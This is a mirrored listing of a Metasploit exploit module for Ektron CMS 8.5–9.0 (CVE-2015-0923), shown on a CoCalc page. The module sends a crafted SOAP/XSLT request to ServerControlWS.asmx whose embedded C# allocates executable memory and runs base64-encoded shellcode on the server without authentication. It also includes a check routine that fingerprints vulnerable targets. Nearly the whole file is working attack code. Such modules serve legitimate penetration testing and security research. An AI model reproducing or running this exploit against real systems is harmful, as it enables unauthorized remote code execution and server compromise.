CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/ektron_xslt_exec_ws.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::EXE
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution',
15
'Description' => %q{ Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have
16
vulnerabilities in various operations within the ServerControlWS.asmx
17
web services. These vulnerabilities allow for RCE without authentication and
18
execute in the context of IIS on the remote system.
19
},
20
'Author' => [
21
'catatonicprime'
22
],
23
'License' => MSF_LICENSE,
24
'References' =>
25
[
26
[ 'CVE', '2015-0923' ],
27
[ 'US-CERT-VU', '377644' ],
28
[ 'URL', 'http://www.websecuritywatch.com/xxe-arbitrary-code-execution-in-ektron-cms/' ]
29
],
30
'Payload' =>
31
{
32
'Space' => 2048,
33
'StackAdjustment' => -3500
34
},
35
'Platform' => 'win',
36
'Privileged' => true,
37
'Targets' =>
38
[
39
['Windows 2008 R2 / Ektron CMS400 8.5', { 'Arch' => [ ARCH_X64, ARCH_X86 ] }]
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2015-02-05'
43
))
44
45
register_options(
46
[
47
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
48
OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']),
49
OptEnum.new('TARGETOP',
50
[
51
true,
52
'The vulnerable web service operation to exploit',
53
'ContentBlockEx',
54
[
55
'ContentBlockEx',
56
'GetBookmarkString',
57
'GetContentFlaggingString',
58
'GetContentRatingString',
59
'GetMessagingString'
60
]
61
])
62
])
63
end
64
65
66
def vulnerable_param
67
return 'Xslt' if datastore['TARGETOP'] == 'ContentBlockEx'
68
'xslt'
69
end
70
71
def required_params
72
return '' if datastore['TARGETOP'] == 'ContentBlockEx'
73
'<showmode/>'
74
end
75
76
def target_operation
77
datastore['TARGETOP']
78
end
79
80
def prologue
81
<<-XSLT
82
<?xml version="1.0" encoding="utf-8"?>
83
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
84
<soap:Body>
85
<#{target_operation} xmlns="http://www.ektron.com/CMS400/Webservice">
86
#{required_params}
87
<#{vulnerable_param}>
88
<![CDATA[
89
<xsl:transform version="2.0"
90
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
91
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
92
xmlns:user="http://mycompany.com/mynamespace">
93
<msxsl:script language="C#" implements-prefix="user">
94
XSLT
95
end
96
97
def epilogue
98
<<-XSLT
99
</msxsl:script>
100
<xsl:template match="/">
101
<xsl:value-of select="user:xml()"/>
102
</xsl:template>
103
</xsl:transform>
104
]]>
105
</#{vulnerable_param}>
106
</#{target_operation}>
107
</soap:Body>
108
</soap:Envelope>
109
XSLT
110
end
111
112
def check
113
114
fingerprint = rand_text_alpha(5 + rand(5))
115
xslt_data = <<-XSLT
116
#{prologue}
117
public string xml() {
118
return "#{fingerprint}";
119
}
120
#{epilogue}
121
XSLT
122
123
res = send_request_cgi(
124
{
125
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
126
'version' => '1.1',
127
'method' => 'POST',
128
'ctype' => "text/xml; charset=UTF-8",
129
'headers' => {
130
"Referer" => build_referer
131
},
132
'data' => xslt_data
133
})
134
135
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
136
return Exploit::CheckCode::Vulnerable
137
end
138
return Exploit::CheckCode::Safe
139
end
140
141
def uri_path
142
uri_path = target_uri.path
143
uri_path << "/" if uri_path[-1, 1] != "/"
144
uri_path
145
end
146
147
def build_referer
148
if datastore['SSL']
149
schema = "https://"
150
else
151
schema = "http://"
152
end
153
154
referer = schema
155
referer << rhost
156
referer << ":#{rport}"
157
referer << uri_path
158
referer
159
end
160
161
def exploit
162
163
print_status("Generating the EXE Payload and the XSLT...")
164
fingerprint = rand_text_alpha(5 + rand(5))
165
166
xslt_data = <<-XSLT
167
#{prologue}
168
private static UInt32 MEM_COMMIT = 0x1000;
169
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
170
171
[System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
172
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
173
174
[System.Runtime.InteropServices.DllImport(&quot;kernel32&quot;)]
175
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
176
177
public string xml()
178
{
179
string shellcode64 = @&quot;#{Rex::Text.encode_base64(payload.encoded)}&quot;;
180
byte[] shellcode = System.Convert.FromBase64String(shellcode64);
181
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
182
System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
183
IntPtr hThread = IntPtr.Zero;
184
IntPtr pinfo = IntPtr.Zero;
185
UInt32 threadId = 0;
186
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
187
return &quot;#{fingerprint}&quot;;
188
}
189
#{epilogue}
190
XSLT
191
192
print_status("Trying to run the xslt transformation...")
193
res = send_request_cgi(
194
{
195
'uri' => "#{uri_path}WorkArea/ServerControlWS.asmx",
196
'version' => '1.1',
197
'method' => 'POST',
198
'ctype' => "text/xml; charset=UTF-8",
199
'headers' => {
200
"Referer" => build_referer
201
},
202
'data' => xslt_data
203
})
204
if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
205
print_good("Exploitation was successful")
206
else
207
fail_with(Failure::Unknown, "There was an unexpected response to the xslt transformation request")
208
end
209
210
end
211
end
212
213